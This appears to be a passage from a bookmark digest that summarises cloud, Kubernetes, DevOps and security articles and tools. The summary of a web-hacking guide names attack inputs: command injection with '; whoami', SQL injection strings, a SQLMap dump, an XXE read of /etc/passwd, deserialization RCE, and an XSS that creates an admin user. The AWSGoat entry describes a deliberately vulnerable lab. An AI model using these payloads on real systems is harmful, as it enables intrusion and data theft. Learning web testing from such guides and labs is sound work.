    • Problem: The industry has no standard map of security specializations, and most lists serve certification vendors.
    • Sources: Draws on company security org structures (such as GitLab) and the UK Cyber Security Council.
    • Output: A mind map grouping roles into macro-functions common in tech companies.
    • Caveat: The author calls it a possible oversimplification and asks for feedback.
    • Context: A preview for the book’s introduction, placing cloud security in the wider field.

    Takeaway: Useful for mentoring or planning a move between security domains, as a map of where roles sit.

  • AWS Secrets Manager GitHub Action
    summary

    TL;DR: The official, verified aws-actions/aws-secretsmanager-get-secrets GitHub Action loads AWS Secrets Manager secrets into a workflow as masked environment variables.

    • Usage: uses: aws-actions/aws-secretsmanager-get-secrets@v3 with a secret-ids list; v3.0.2 at time of reading.
    • Auth: Configure credentials first with configure-aws-credentials, ideally assuming a role via GitHub OIDC.
    • IAM: Needs GetSecretValue on the secrets, ListSecrets on all secrets, and kms:Decrypt for customer managed keys.
    • JSON parsing: JSON secrets can be split into one environment variable per key; binary values are converted to strings.
    • Scope: Retrieved secrets are available to all later steps in the job.

    Takeaway: Pair it with OIDC role assumption so no long-lived AWS keys sit in GitHub. Scope the role to only the secrets the job needs.

  • AWS Announces Updated Support Plans Console with New IAM Controls
    summary

    TL;DR: A 30 September 2022 AWS What’s New item: a redesigned Support Plans Console, and IAM control over who can change support plans.

    • Console: Shows your current Support plan, its features and a comparison with other plans.
    • IAM: Support plans can now be managed by IAM identities, not only the root user.
    • Managed policies: New AWS managed policies grant support plan permissions.
    • Examples: A read-only policy to view the plan, and a read-write policy to upgrade or downgrade it.

    Takeaway: One more task removed from root user duty. Grant it through IAM and keep root credentials locked away.

  • k2tf: Kubernetes YAML to Terraform HCL Converter
    summary

    TL;DR: k2tf converts Kubernetes YAML manifests into Terraform HCL for the Terraform Kubernetes provider.

    • Single file: k2tf -f test-fixtures/service.yaml, or add -o service.tf to write to a file.
    • Directory: k2tf -f test-fixtures/ converts all manifests in a folder.
    • From cluster: kubectl get deployments -o yaml | k2tf -o deployments.tf.
    • Install: brew install k2tf, the asdf plugin, or release binaries.
    • Build: Go modules; make build and make test.

    Takeaway: Speeds up moving hand-applied Kubernetes resources into Terraform. Review the output, as generated HCL usually needs cleanup.

  • konf-go: Lightweight kubeconfig Manager for Using Different kubeconfigs at the Same Time
    summary

    TL;DR: konf is a lightweight Go kubeconfig manager that lets each shell use a different kubeconfig without spawning subshells.

    • Speed: Runs directly in the current shell, unlike kubie, so switching is fast.
    • Per-shell: Different kubeconfigs can be active in different shells at the same time.
    • Install: Release binaries, Nix nix-env -iA nixpkgs.konf, or go install github.com/simontheleg/konf-go@latest.
    • Shell wrapper: Add source <(konf-go shellwrapper zsh) (zsh/bash) or konf-go shellwrapper fish | source.
    • License: Apache-2.0.

    Takeaway: A fast option for working on several clusters in parallel terminals. Call the konf wrapper, not the binary.

  • Kubernetes Guide: Graceful Shutdown with Lifecycle preStop Hook
    summary

    (Could not fetch full text.)

    TL;DR: A September 2022 Datree guide arguing that Kubernetes pods need a preStop lifecycle hook, not just SIGTERM handling, to shut down without dropping traffic.

    • Hook types: preStop can be an httpGet call or an exec command, and runs before SIGTERM is sent.
    • Race condition: A pod can finish draining and exit before the ingress controller deregisters it, so traffic hits a dead pod.
    • Mistake 1: Exposing the HTTP shutdown endpoint publicly.
    • Mistake 2: Using a bare sleep; instead start deregistration and verify it completed.
    • Mistake 3: Keeping the default terminationGracePeriodSeconds, which must cover both the hook and SIGTERM handling.
    • Mistake 4: Putting deregistration logic in the app instead of the hook.
    • Source caveat: The datree.io page now returns an empty response; summary based on a 2022 Wayback Machine copy.

    Takeaway: Add a preStop hook and size the grace period to cover deregistration, especially behind cloud load balancers.

  • Do Not Use ‘git checkout’ Anymore
    summary

    TL;DR: A short August 2022 post by TheDevStory explaining that Git 2.23 split git checkout into git switch and git restore.

    • Switch branches: git switch develop replaces git checkout develop.
    • New branch: git switch -c new-branch replaces git checkout -b new-branch.
    • Restore files: git restore README.md replaces git checkout -- README.md.
    • Unstage: git restore --staged README.md replaces git reset HEAD README.md.
    • Source caveat: Medium blocked direct access; content read through the Freedium mirror.

    Takeaway: Use switch and restore for clearer intent and fewer accidental file overwrites. checkout still works.

  • Introducing Wolfi: The First Linux (Un)distro Designed for Securing the Software Supply Chain
    summary

    TL;DR: Dan Lorenc’s 22 September 2022 announcement of Wolfi, Chainguard’s community Linux “(un)distro” built for container images and supply chain security.

    • Problem: Container images lag upstream, carry extra software, lack provenance and rarely meet standards like SLSA.
    • SBOMs: Every package ships a build-time SBOM.
    • Packaging: Granular, independent APK packages for minimal images, with glibc support.
    • Builds: Fully declarative and reproducible; images are rebuilt rather than upgraded in place.
    • Goal: Images with zero known vulnerabilities.
    • Also announced: New Chainguard Images for static binaries, nginx, and Go and C toolchains.

    Takeaway: Wolfi is the base of Chainguard Images. Consider it when you need glibc compatibility with distroless-style minimal images.

  • lima: Linux Virtual Machines on macOS for Running containerd
    summary

    TL;DR: Lima launches Linux VMs with automatic file sharing and port forwarding, like WSL2 for macOS, originally to bring containerd and nerdctl to Mac users.

    • Start: brew install lima, limactl start, then lima uname -a.
    • containerd: lima nerdctl run --rm hello-world.
    • Docker: limactl start template:docker and point DOCKER_HOST at the VM socket.
    • Kubernetes: limactl start template:k8s and use the copied kubeconfig.
    • Scope: Also supports Podman, non-container workloads, and Linux and NetBSD hosts.
    • Supply chain: Releases include CycloneDX SBOMs since v2.3; OpenSSF Best Practices badge.

    Takeaway: A free, scriptable way to run containerd, Docker or Kubernetes on macOS without Docker Desktop.

28.09.2022

  • Cloud DNS Security: How to Protect DNS in the Cloud
    summary

    TL;DR: Brett Wolmarans’ August 2022 Sysdig post on DNS threats and how to protect DNS in cloud environments.

    • Threats: DDoS (such as the 2016 Dyn/Mirai attack), tunneling and exfiltration, cache poisoning, hijacking (Sea Turtle), typosquatting and subdomain takeover.
    • Providers: Compares Google Cloud DNS and AWS Route 53 on RPZ, DoH, DoT, DNSSEC, logging and DNS firewalls.
    • Hardening: Patch DNS software, use MFA on DNS admin accounts, enable DNSSEC where appropriate, add DDoS protection and a DNS firewall.
    • Visibility: Inventory all domains and zones, monitor DNS separately, send DNS logs to a SIEM, log API calls with CloudTrail.
    • Resilience: Use multiple DNS providers to survive one outage or attack.
    • Tools: dig, dnstwist, dnsperf, Terraform for DNS as code, Route 53 Resolver DNS Firewall and GuardDuty.
    • Source caveat: curl returned only a search template; content read via WebFetch.

    Takeaway: Treat DNS as critical infrastructure. Lock down registrar and DNS console access, and log resolver queries to catch tunneling.

  • Exploring Kubernetes Operator Pattern
    summary

    TL;DR: An illustrated iximiuz.com deep dive (2021, updated November 2023) into the Kubernetes Operator pattern and the API mechanics behind it.

    • Objects vs controllers: Objects are records of intent; controllers are loops that move current state toward desired state.
    • API design: RESTful, declarative HTTP API; list resources with kubectl api-resources; API groups and versioning.
    • Custom resources: How to create CRDs, and CRDs compared with custom API servers.
    • Operators: Custom resources plus a custom controller that feel native to Kubernetes.
    • Example: Walks through a concrete operator example.
    • Series: Part of the author’s “Writing Kubernetes Controllers/Operators” learning series.

    Takeaway: Read it before writing your first operator. It explains why operators behave like built-in resources.

  • Why You Should Avoid Sealed Secrets in Your GitOps Deployment
    summary

    TL;DR: Denilson Nastacio’s February 2022 article arguing against Sealed Secrets in GitOps repos in favor of a managed key service.

    • Reason 1: Per-environment keys lead to sprawl of encrypted Secret files across folders and namespaces.
    • Reason 2: Encrypted secrets still sit in the repo, in the hands of anyone with read access.
    • Reason 3: The decryption key protecting everything is itself just another key to manage.
    • Reason 4: Git has no key rotation, secret references, usage audit or tiered admin access.
    • GitOps tools: Argo CD is “un-opinionated” about secrets; Flux can decrypt with KMS but still stores encrypted secrets in Git.
    • Source caveat: Medium blocked direct access; content read through the Freedium mirror.

    Takeaway: Start GitOps with a managed key or secrets service rather than encrypted secrets in Git, since migrating away later means paying twice.

  • terralist: A Private Terraform Registry
    summary

    TL;DR: Terralist is a self-hosted private registry for Terraform and OpenTofu modules and providers, implementing the official registry protocols.

    • Features: Upload, version and distribute modules and providers, with a web dashboard for docs and API keys.
    • Auth: OAuth via GitHub, GitLab, BitBucket or any OIDC provider.
    • RBAC: Built-in admin, readonly and anonymous roles plus Casbin custom policies; scoped API keys for CI/CD.
    • Storage: AWS S3, Azure Blob, Google Cloud Storage, local filesystem or proxy mode.
    • Ops: Prometheus metrics; a single Go binary with no external dependencies.
    • Repo: Now lives under the terralist/terralist organization; MPL 2.0.

    Takeaway: A lightweight option when you want a private module registry without Terraform Cloud or Enterprise.

  • Cloud Audit Academy
    summary

    TL;DR: Cloud Audit Academy is AWS’s free learning path for auditors and risk and compliance professionals assessing regulated workloads in the cloud.

    • Level 1: New to Cloud, a cloud-agnostic course on how cloud auditing differs from on-premises.
    • Level 2: Auditing in AWS, assessing customer-configured AWS controls with real-world risk examples and control objectives.
    • Level 3: Industry-specific courses for PCI DSS and NIST SP 800/CMMC, with console walkthroughs and evidence sources.
    • Approach: Risk-based, applying cloud-specific verification techniques to control frameworks written for on-premises.
    • Format: Structured curriculum with instructor-led options and subject matter experts.

    Takeaway: Point your auditors here before an AWS-focused audit. It reduces back-and-forth over where evidence lives.

  • How to Hack Web Applications in 2022: Part 1
    summary

    TL;DR: Part 1 of a web application hacking guide by Luke “Hakluke” Stephens on Detectify Labs (May 2022). It sets up an intercepting proxy and walks through the main injection-class bugs with working payloads.

    • Setup: Burp Suite Community Edition as the interception proxy, using its built-in Chromium browser so no manual proxy configuration is needed.
    • Framework: Uses the OWASP Top 10 (2021) as the map of risk classes, from Broken Access Control to SSRF.
    • Command and code injection: A PHP ping script exploited by appending ; whoami; unsanitised input passed to PHP eval().
    • SQL injection: Manual payloads such as 1 OR 1=1 and UNION SELECT, then SQLMap automation (--dbms=sqlite -T users --dump).
    • XXE and deserialization: An external entity reading file:///etc/passwd; tampering with serialized object fields (e.g. an isAdmin flag) and gadget-chain RCE with ysoserial.
    • XSS: Reflected XSS, cookie theft (blocked by HttpOnly), and a payload that creates a WordPress admin user.
    • Part 2 scope: SSRF, business logic bugs, IDOR, authentication, CSRF, directory traversal, LFI/RFI and cache poisoning.

    Takeaway: A practical starter path for web testing: get Burp running, then learn each injection class with a concrete payload. It is a sequel to the same author’s “How to Hack APIs in 2021”.

  • Error Handling with Go Tooling
    summary

    TL;DR: Eli Bendersky shows how Go tools built on golang.org/x/tools/go/packages find out about parse and type errors in the code they analyse, instead of quietly working on a broken AST.

    • Surprise: A tool run on code with errors still dumps an AST without complaint. The parser recovers and drops bad parts, e.g. util(5 6) keeps only the first argument.
    • Why recovery exists: IDE tooling parses code while you type, so it must keep going past errors to offer highlighting and jump-to-definition.
    • Error reporting: packages.Package.Errors holds the errors. Each packages.Error has a Kind: ListError, ParseError or TypeError.
    • Example output: Three errors are reported for the sample: missing , in an argument list, cannot use 5.5 ... as string value, and s declared but not used.
    • IllTyped: The IllTyped field marks a package or its dependencies as broken. It is set only when packages.NeedTypes is requested.
    • Code: The full sample tool is on GitHub.

    Takeaway: If your analysis tool assumes valid code, check len(pkg.Errors) > 0 and stop early so you do not report false results. Tools meant for half-written code can keep going on purpose.

  • GitOps: A Simple Approach to Using AWS Secrets Manager with Kubernetes
    summary

    TL;DR: Marco Lau (Ops Sorry, Aug 2022) gives a minimal Terraform setup that maps each Kubernetes namespace to an AWS Secrets Manager path, read through the Secrets Store CSI driver.

    • Cluster: terraform-aws-modules/eks/aws v18.23.0 with enable_irsa = true, which creates the OIDC provider for IAM roles for service accounts (IRSA).
    • Driver: Helm chart csi-secrets-store-provider-aws v0.0.3 from aws.github.io/eks-charts, installed in kube-system.
    • IAM: One policy per namespace, created with for_each, allowing secretsmanager:GetSecretValue and DescribeSecret on <cluster>/<namespace>/*. Roles come from the iam-role-for-service-accounts-eks module v5.1.0.
    • Service account: The namespace’s default service account gets the eks.amazonaws.com/role-arn annotation.
    • Consumption: A SecretProviderClass (provider aws) mounted as a CSI volume. No Kubernetes Secret object is created.
    • Test: A pod in one namespace trying to read another namespace’s secret fails with AccessDeniedException.
    • Caveat: The author warns this breaks least privilege: any app in a namespace can read every secret in it.

    Takeaway: A good-enough first step when per-app IAM wiring is too much. Plan to move to per-app service accounts and paths later.

  • Kubernetes Removals and Major Changes in 1.25
    summary

    TL;DR: A Kubernetes blog post (Kat Cosgrove, Frederico Muñoz, Debabrata Panigrahi, Aug 2022) that lists what v1.25 removes or changes, chiefly the removal of PodSecurityPolicy.

    • PodSecurityPolicy: Removed in v1.25 after deprecation in v1.21. It is replaced by Pod Security Admission, which goes GA in the same release.
    • CSI migration: The core CSI Migration feature goes GA, moving in-tree volume plugins toward out-of-tree CSI drivers.
    • Storage plugins: GlusterFS and Portworx in-tree plugins are deprecated. Flocker, Quobyte and StorageOS in-tree plugins are removed.
    • vSphere: The in-tree vSphere volume driver no longer supports vSphere releases before 7.0u2.
    • iptables: The kubelet starts to stop creating the KUBE-MARK-DROP, KUBE-MARK-MASQ and KUBE-POSTROUTING nat chains, behind the IPTablesCleanup feature gate.
    • Next up (1.26): flowcontrol.apiserver.k8s.io/v1beta1 and autoscaling/v2beta2 HPA are scheduled for removal.
    • Policy recap: Beta APIs stay supported for 3 releases after deprecation. GA APIs cannot be removed within a major version.

    Takeaway: Before going to 1.25, migrate any PSP use to Pod Security Admission and check for removed storage plugins. Do not depend on kube-proxy’s internal iptables chains.

  • Write Your Kubernetes Infrastructure as Go Code: Extend cdk8s with Custom Constructs
    summary

    (Could not fetch full text.)

    TL;DR: Abhishek Gupta (Better Programming, Aug 2022) shows how to package a whole WordPress deployment as a reusable cdk8s construct written in Go.

    • cdk8s: A CNCF open-source framework that defines Kubernetes apps in ordinary programming languages instead of YAML. Constructs are its basic building blocks.
    • cdk8s-plus: Cuts boilerplate. A Deployment, its container and a LoadBalancer Service take three calls: NewDeployment, AddContainer, ExposeViaService.
    • Custom construct: NewWordpressStack(chart, ..., &WordpressProps{...}) creates a full WordPress install in one line, configured through a props struct.
    • Wiring: The construct goes into a cdk8s.Chart, which goes into a cdk8s.App, and app.Synth() produces the manifests.
    • Ecosystem: Ready-made constructs from the community and AWS are listed at constructs.dev.
    • Source caveat: The live Medium page blocked fetching. This summary is based on the Aug 2022 Wayback Machine copy, first part of the article only.

    Takeaway: Wrapping repeated Kubernetes patterns in typed constructs pays off most for teams and organisations, less for one-off apps.

  • Tips for Saving AWS EKS Cost
    summary

    (Could not fetch full text.)

    TL;DR: Jeewan Sooriyaarachchi (Medium, Jul 2022) lists practical ways to cut Amazon EKS cost without losing high availability.

    • Budget alerts: Tag every cluster resource (load balancers, CloudFront and so on) and set AWS Budgets alerts by tag. Examples he caught: idle GPU instances off-peak, and an app bug that drove up S3 GetObject/ListObjects charges.
    • Right-size and autoscale: Measure usage, set requests and limits, and use HPA (min 2 pods in production) with cluster-autoscaler.
    • Spot: He gives t3.xlarge as about $0.2112/h on-demand versus about $0.0634/h spot. Pair spot and on-demand node groups with the same label, and have the autoscaler try spot first.
    • Non-AWS costs: Datadog charged per node, so many small t3.medium spot nodes cost more in Datadog. He moved to fewer, larger instances.
    • Off-hours shutdown: ASGs with min 0. A CronJob runs kubectl scale --replicas=0 on deployments and statefulsets, using an IRSA-trusted role plus a namespaced RBAC role on deployments/scale and statefulsets/scale.
    • Source caveat: Medium blocked direct fetching. This summary is based on a May 2025 Wayback Machine copy.

    Takeaway: Tagging and budgets come first, then spot and off-hours scale-to-zero for non-production. Count per-node SaaS agent fees when choosing node size.

  • Intro to eBPF
    summary

    TL;DR: Chris Short’s short introduction to eBPF (Aug 2022, adapted from DevOps’ish 278): what it is, how it hooks into the kernel, and which projects use it.

    • Definition: eBPF runs sandboxed programs in privileged kernel context without changing kernel source or loading kernel modules.
    • Execution model: Programs are event-driven and attach to hooks: syscalls, function entry/exit, tracepoints and network events.
    • Projects cited: Cilium/Isovalent, Pixie, Calico, bpftrace, Falco’s eBPF probe, Tracee, SysmonForLinux, Katran (Facebook’s load balancer) and ebpf-for-windows.
    • References: ebpf.io (run by Daniel Borkmann), ebpf.foundation (Linux Foundation), the BPF and XDP Reference Guide, awesome-ebpf, and Liz Rice’s GOTO 2021 talk.
    • Safety: Presented as generally safer than kernel modules, and no modprobe or reboot is needed.
    • Verdict: The author says it is worth the hype, calling it “a rubber mallet”: it cannot fix everything but can help find almost anything.

    Takeaway: A link-rich starting page. Use it to pick a project (bpftrace for ad-hoc tracing, Cilium for networking) rather than to learn how to write eBPF programs.

  • GitOps: A Simple Approach to Using AWS Secrets Manager with Kubernetes
    summary

    TL;DR: Marco Lau (Ops Sorry, Aug 2022) gives a minimal Terraform setup that maps each Kubernetes namespace to an AWS Secrets Manager path, read through the Secrets Store CSI driver.

    • Cluster: terraform-aws-modules/eks/aws v18.23.0 with enable_irsa = true, which creates the OIDC provider for IAM roles for service accounts (IRSA).
    • Driver: Helm chart csi-secrets-store-provider-aws v0.0.3 from aws.github.io/eks-charts, installed in kube-system.
    • IAM: One policy per namespace, created with for_each, allowing secretsmanager:GetSecretValue and DescribeSecret on <cluster>/<namespace>/*. Roles come from the iam-role-for-service-accounts-eks module v5.1.0.
    • Service account: The namespace’s default service account gets the eks.amazonaws.com/role-arn annotation.
    • Consumption: A SecretProviderClass (provider aws) mounted as a CSI volume. No Kubernetes Secret object is created.
    • Test: A pod in one namespace trying to read another namespace’s secret fails with AccessDeniedException.
    • Caveat: The author warns this breaks least privilege: any app in a namespace can read every secret in it.

    Takeaway: A good-enough first step when per-app IAM wiring is too much. Plan to move to per-app service accounts and paths later.

  • Scaling Kubernetes to Thousands of CRDs
    summary

    TL;DR: Nic Cope (Upbound, Aug 2022) explains which Kubernetes limits Crossplane hit when installing thousands of CRDs, and the upstream fixes Upbound helped land.

    • Scale: Full-coverage AWS, Azure and GCP providers mean about 2,000 managed-resource kinds across about 300 API group/versions, so discovery takes about 300 requests.
    • kubectl throttling: “client-side throttling” waits for minutes. The discovery burst limit went from 100 to 300 (v1.22) and the cache TTL from 10 minutes to 6 hours.
    • Disk cache: fsync on about 300 cache files made discovery take about 20 s on macOS. Switching to checksums in v1.25 made it about 25x faster.
    • OpenAPI: Lazy schema computation cut CPU spikes after CRD creation (v1.23.0, backported to 1.20.13, 1.21.7 and 1.22.4).
    • Memory: About 4 MiB of API server RSS per CRD. Sharing one Zap logger across etcd clients cut memory by about 20% (v1.25).
    • Hosted control planes: GKE, EKS and AKS saw API server unavailability from seconds to about an hour.
    • Future work: Aggregated discovery with ETags (alpha targeted for 1.26), one etcd client per transport, and GC tuning (a naive test cut peak RSS by 25%).

    Takeaway: If you run Crossplane or many operators, use recent kubectl and Kubernetes versions. Install only the provider CRDs you need.

  • eks-multi-cluster-gitops: Build Multi-Cluster GitOps Using Amazon EKS, Flux CD, and Crossplane
    summary

    TL;DR: An AWS Samples reference implementation of hub-and-spoke multi-cluster GitOps on Amazon EKS. Flux CD and Crossplane manage both the clusters and the AWS resources apps depend on.

    • Model: A management EKS cluster is created by hand with eksctl and bootstrapped. It then creates and bootstraps workload clusters through GitOps.
    • Self-service: App teams request a cluster with a pull request. The PR is either auto-merged after checks or approved by the platform team, then provisioned to org standards.
    • Tooling: FluxCD for GitOps, Crossplane as the infrastructure controller, and Sealed Secrets plus External Secrets Operator for secrets.
    • Cloud resources: Extends GitOps to stateful AWS services such as Amazon RDS, DynamoDB and SQS, alongside native Kubernetes resources.
    • Lifecycle: Covers provisioning, bootstrapping, upgrading and deleting clusters through Git.
    • Status: The repository is not archived.

    Takeaway: A full blueprint for a platform team that wants PR-driven cluster vending on EKS. Expect to adapt the repo layout and secrets handling to your own organisation.

  • AWSGoat: A Damn Vulnerable AWS Infrastructure
    summary

    TL;DR: AWSGoat, from INE, is an AWS environment built to be vulnerable for practising cloud pentesting. It is deployed into your own account with Terraform.

    • Coverage: OWASP Top 10 (2021) web bugs plus misconfigurations in IAM, S3, API Gateway, Lambda, EC2 and ECS.
    • Vulnerabilities listed: XSS, SQL injection, IDOR, SSRF on the Lambda environment, sensitive data exposure and password reset, S3 misconfigurations, IAM privilege escalation and ECS container breakout.
    • Module 1: A serverless blog app (Lambda, S3, API Gateway, DynamoDB).
    • Module 2: An internal HR payroll app on ECS. Both have documented escalation paths.
    • Deploy: Fork the repo, add AWS_ACCESS_KEY and AWS_SECRET_ACCESS_KEY as GitHub secrets, and run the Terraform Apply action. A minimum-permission policy.json is provided.
    • Cost: After free tier, about $0.0125/h for Module 1 and $0.0505/h for Module 2 in US-East.
    • Presented at: Black Hat USA 2022 Arsenal, DEF CON 30 Demo Labs, Rootcon 16 and Black Hat Asia 2023.

    Takeaway: A good hands-on lab for AWS attack paths. Run it in an isolated sandbox account and tear it down after use.

  • monkey365: Office 365, AD, and Azure Security Review
    summary

    TL;DR: Monkey365, by silverhack, is a PowerShell module that assesses the security configuration of Microsoft 365, Microsoft Entra ID and Azure, and reports findings with remediation guidance.

    • Scope: Exchange Online, SharePoint Online, Microsoft Teams, Purview and Fabric, plus Entra ID and Azure subscriptions.
    • Self-contained: Bundles its dependencies, so it does not need Azure CLI, Az PowerShell, ExchangeOnlineManagement or the Graph SDK.
    • Auth: Interactive sign-in, service principals, certificates or a direct access token.
    • Rules: Declarative JSON rules and rulesets mapped to best practices and compliance standards.
    • Output: HTML, JSON and CSV reports. Supports Azure Public, China and Government clouds.
    • Install: Install-Module -Name monkey365 -Scope CurrentUser, then run with an options hashtable such as Instance = 'Microsoft365' and IncludeEntraID = $true.
    • License: Apache 2.0. Actively maintained and published to the PowerShell Gallery.

    Takeaway: A free alternative to commercial M365 and Azure posture scanners. Good for consultants and for periodic tenant reviews.

  • Codify Your Best Practices Using Service Control Policies: Part 2
    summary

    TL;DR: Part 2 of Som Chatterjee’s AWS series (Feb 2022) maps AWS Well-Architected pillars to concrete service control policy (SCP) examples attached to the organisation root or to OUs.

    • Operational excellence: Deny changes to admin-issued CloudWatch alarms and dashboards (Admin-issued-*) except for Admin-role-*. Deny logs:PutRetentionPolicy and logs:DeleteLogGroup. Deny stopping or deleting AWS Config recorders and rules.
    • Security, org: Deny organizations:LeaveOrganization. Deny * in a Suspended OU.
    • Security, IAM: In the Sandbox OU, deny IAM role, user and policy actions plus sts:AssumeRole, except for an admin role.
    • Region lock: Deny when aws:RequestedRegion is not eu-central-1 or eu-west-1, using NotAction to exempt global services.
    • Secrets and detection: Protect an admin secret in Secrets Manager. Deny GuardDuty UpdateDetector/DeleteDetector and disassociation.
    • Cost: Deny budgets:ModifyBudget and DeleteBudgetAction.
    • Caveats: One example’s title (“Deny ability to pass IAM roles”) does not match its Secrets Manager content. The budget SCP’s exemption matches all roles, which weakens it.

    Takeaway: A copy-ready set of guardrail SCPs. Review the condition keys and exemptions before you attach them; some examples need tightening.

  • A Lightweight Approach to Implement Secure Software Development Lifecycle (Secure SDLC)
    summary

    TL;DR: Anshuman Bhartiya (Aug 2022) sets out a phased, lightweight Secure SDLC plan for a founding product security engineer: crawl, walk, run.

    • Crawl: Rapid Risk Assessment (RRA), tech design/architecture review with a data-flow diagram, threat modeling (STRIDE, conversational), and SAST with Semgrep (also used for IaC and policy-as-code).
    • Walk: Third-party dependency scanning on every PR (Dependabot), DAST against staging, and time-boxed pentests focused on threat-model areas.
    • Run: Pre-commit secret scanning and a bug bounty programme.
    • RRA scoring: Data classification plus exposure, authentication and availability needs, and confidentiality/integrity/availability impact (each 1-3), give a rating from Negligible to Critical.
    • Required follow-up: Moderate needs a design review. High adds threat modeling. Critical adds a pentest or manual assessment.
    • Automation: An RRA form for engineering managers that auto-scores, adds to a risk register and creates backlog tickets. Skip it for cosmetic or static frontend changes.
    • Moved: The URL now redirects to anshuman.ai.

    Takeaway: A useful template for rationing scarce AppSec time: score risk first, then require heavier reviews only for high-risk changes.

  • Hacking APIs: Workshop
    summary

    (Could not fetch full text.)

    TL;DR: A Microsoft Sway presentation titled “Hacking APIs: Workshop”. Only the title loads; the content is rendered by JavaScript, or it is restricted.

    • What loads: The page returns only the title “Hacking APIs: Workshop” and the Microsoft Sway frame. The URL now redirects to sway.cloud.microsoft.
    • Author: Not identifiable from the page. Web searches for this Sway ID found nothing.
    • Possible context: “Hacking APIs” is also the title of Corey Ball’s 2022 No Starch Press book on web API security testing. Nothing links this Sway to him.
    • Access: Sway decks can be limited to an organisation’s sign-in, which may be why the content does not load.
    • Source caveat: Based on the page title and general search results only. Nothing about the workshop content could be checked.

    Takeaway: Treat this as a dead or private link. For API hacking practice, look for a maintained workshop or book instead.

  • Why Leaving Pods in CrashLoopBackOff Can Have a Bigger Impact Than You Might Think
    summary

    (Could not fetch full text.)

    TL;DR: Paul Dally (Medium, Aug 2022) argues that pods left in CrashLoopBackOff harm the node and the cluster, not only their own workload.

    • Backoff math: Restart delay starts at 10s and doubles up to a 5-minute cap, then resets after 10 minutes of successful running. A broken container can still restart 300 or more times a day.
    • cgroup leaks: On some runtimes and kernels, each restart can leak cgroups. New containers on the node then fail with cannot allocate memory when cgroups are applied.
    • Mitigations named: Reboot (temporary), a newer kernel, or the cgroup.memory=nokmem kernel parameter (needs a reboot and has its own side effects).
    • Startup cost: Startup is often the most CPU-intensive phase (his example is Spring Boot). Constant restarts burn node resources and can trigger scaling cost.
    • Stalled rollouts: If the first new pod never becomes ready, a Deployment rollout stalls and old pods keep running.
    • Source caveat: Medium blocked direct fetching. This summary is based on a Jan 2025 Wayback Machine copy.

    Takeaway: Alert on container restart counts and CrashLoopBackOff, including in pre-production. Do not leave crashing deployments running.

  • Kubernetes Security Compliance Frameworks
    summary

    TL;DR: An ARMO blog post that compares the main Kubernetes security and compliance frameworks and says when to use each. It ends with a pitch for ARMO’s open-source Kubescape.

    • CIS Kubernetes Benchmark: Hardening checks in Level 1 (baseline) and Level 2 (stricter) tiers, with EKS and AKS variants. Criticised as rigid and slow to update.
    • MITRE ATT&CK for Kubernetes: A tactic matrix from initial access to impact, e.g. privileged containers, exposed dashboards and listing secrets. Deep but large and sometimes ambiguous.
    • PCI DSS: Mapping cardholder-data connections, network restriction, configuration standards, key distribution, environment separation and change detection.
    • NIST container security guide: Risks grouped by image, registry, orchestrator, container and host OS.
    • NSA-CISA hardening guide: Pod security, network separation, authentication and authorisation, audit logging and patching. It gives no lifecycle guidance.
    • When to use: CIS and NSA-CISA for pre-production, MITRE for production, NIST for testing and scanning, PCI DSS throughout.
    • Page changed: The current page shows author Jonathan Kaftzan and a date of Aug 2023, later than when it was bookmarked.

    Takeaway: A quick comparison for picking a baseline. Most teams start with CIS or NSA-CISA scans (Kubescape runs both) and use MITRE for threat modeling.

  • Use TouchID to Authenticate sudo on macOS
    summary

    (Could not fetch full text.)

    TL;DR: A Digitaino IT how-to for approving sudo in the macOS Terminal with Touch ID, by adding one PAM line.

    • Change: Edit /etc/pam.d/sudo (the post uses sudo pico) and add auth sufficient pam_tid.so below the pam_smartcard.so line.
    • Effect: New Terminal windows prompt for Touch ID on sudo. If Apple Watch unlock is enabled, a double-click of the watch side button also approves.
    • Caveat: macOS overwrites the file on OS updates, so the line must be added again after each update. A commenter suggests a check after each restart.
    • Reported issue: A commenter says it does not work in clamshell mode.
    • Source caveat: The live site returns an HTTP 522 error. This summary is based on a Feb 2024 Wayback Machine copy.

    Takeaway: A handy convenience tweak. Expect to redo it after macOS updates and keep the password fallback.

  • devbox: Instant, Easy, Predictable Shells and Containers
    summary

    TL;DR: Devbox is a CLI from Jetify (formerly jetpack.io) that creates isolated, reproducible development shells from a devbox.json package list, using Nix underneath.

    • Model: Works like yarn, but for OS-level packages. It can install from over 400,000 package versions in the Nix registry.
    • Commands: devbox shell for an interactive environment and devbox run for one-off commands.
    • Team consistency: Everyone who runs devbox shell gets the same tool versions.
    • Isolation: Try tools without polluting the laptop, and with no VM layer slowing file access.
    • Containers: The same definition can be turned into an equivalent container when you ship.
    • Install: curl -fsSL https://get.jetify.com/devbox | bash.
    • Moved: The repository now lives at jetify-com/devbox after the company renamed itself.

    Takeaway: An easy way to get Nix-level reproducibility without learning Nix. A good fit for onboarding and for CI parity.

  • AWS and Kubecost Collaborate to Deliver Cost Monitoring for EKS Customers
    summary

    TL;DR: An AWS Containers blog post (Aug 2022, Mike Stefaniak, Vipin Mohan and Kubecost) announcing a free, EKS-optimised Kubecost bundle for cost monitoring. Kubecost is built on the CNCF OpenCost project.

    • What you get: Cost broken down by pod, node, namespace and label, cost allocation and chargeback, and single-cluster optimisation recommendations, at no charge with Kubecost support.
    • Install: helm upgrade -i kubecost oci://public.ecr.aws/kubecost/cost-analyzer --version 1.99.0 --namespace kubecost --create-namespace -f values-eks-cost-monitoring.yaml.
    • Prerequisites: Helm 3.9+, kubectl, and the EBS CSI driver on Kubernetes 1.23+.
    • Access: kubectl port-forward deployment/kubecost-cost-analyzer 9090. For lasting access, Nginx ingress with basic auth or an ALB with Cognito.
    • Architecture: Bundles Prometheus and kube-state-metrics, which can be skipped if already present. Pricing comes from the AWS Price List API, with optional CUR integration for RIs, Savings Plans and spot.
    • Limits: Cost allocation views cover up to the last 15 days. Multi-cluster support is listed as future work.

    Takeaway: A low-effort way to get per-namespace EKS cost visibility. Connect CUR if you want numbers that reflect your actual discounts.

  • Amazon EKS Best Practices Guide for Networking
    summary

    TL;DR: The networking chapter of AWS’s EKS Best Practices Guide, covering the VPC CNI, IP address planning and pod networking options. The guide has since moved into AWS documentation.

    • VPC CNI: The default add-on. Pods get real VPC IPs, managed by ipamd through ENIs and a warm IP pool.
    • IP exhaustion: Pods take IPs from node subnets. Use subnets in at least two AZs and check free IPs before scaling.
    • Prefix mode: Recommended over the default secondary-IP mode when pod density per node is limited by ENI/IP counts.
    • Custom networking: Places pods in other CIDRs such as 100.64.0.0/10 or 198.19.0.0/16 to save RFC1918 space, at the cost of extra operational overhead.
    • IPv6: Preferred over custom networking once IPv4 runs out.
